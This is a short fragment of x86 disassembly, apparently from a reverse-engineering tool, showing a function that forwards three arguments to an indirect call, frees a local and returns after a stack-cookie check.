mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
mov edx, dword [ebp - 0x20]
push edx
call fcn.100bc340
add esp, 4
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10019cf8
mov esp, ebp
pop ebp
ret